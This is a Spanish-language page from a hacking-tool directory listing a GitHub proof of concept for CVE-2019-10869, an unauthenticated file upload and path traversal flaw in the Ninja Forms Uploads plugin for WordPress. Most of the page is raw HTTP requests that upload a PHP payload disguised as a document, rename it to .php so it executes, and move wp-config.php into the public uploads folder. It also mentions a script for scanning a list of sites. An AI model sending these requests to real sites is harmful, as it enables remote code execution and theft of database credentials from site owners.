Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-10869 — (Wordpress) Extensión Ninja Forms File Uploads <= 3.0.22 – Carga Arbitraria de Archivos No Autenticada | Kitploit
Herramientas/GitHubGitHub/ktn1990/cve-2019-10869
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Extensión Ninja Forms File Uploads <= 3.0.22 – Carga Arbitraria de Archivos No Autenticada

Ver Repositorio
166hace 7 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Subida de archivos arbitraria no autenticada

Descripción:

Existe un Path Traversal y una subida de archivos sin restricciones en el plugin Ninja Forms anterior a la versión 3.0.23 para WordPress (cuando el complemento Uploads está activado). Esto permite a un atacante recorrer el sistema de archivos para acceder a archivos y ejecutar código a través de los parámetros name y tmp_name de includes/fields/upload.php (también conocida como página de carga/envío).

POC:

Solicitud de carga de archivo inicial:

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Respuesta:

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Cuando se envía el formulario, el archivo tmp cargado inicialmente se mueve a una nueva ubicación:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

El parámetro “name” es luego “desinfectado” por la función de WordPress sanitize_file_name, que esencialmente solo elimina un conjunto de caracteres especiales predefinidos:

root@kitploit:~
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Esto resulta en mover el archivo tmp a su ubicación final: /wp-content/uploads/ninja-forms/1/test.php

Si la carpeta de carga no se ha hecho explícitamente no ejecutable, que no es el caso por defecto, esto resulta en ejecución de código:

alt text

Path Traversal en tmp_name:

al enviar el formulario también es posible recorrer el sistema de archivos a través del parámetro tmp_name como se muestra a continuación. ¡Ten en cuenta que los archivos tmp se mueven a su nueva ubicación dentro de la carpeta de uploads!

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

Esto resulta en mover el archivo wp-config.php a la siguiente ubicación: /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN:

root@kitploit:~
USAGE: python script.py list-site.txt
Descargar herramienta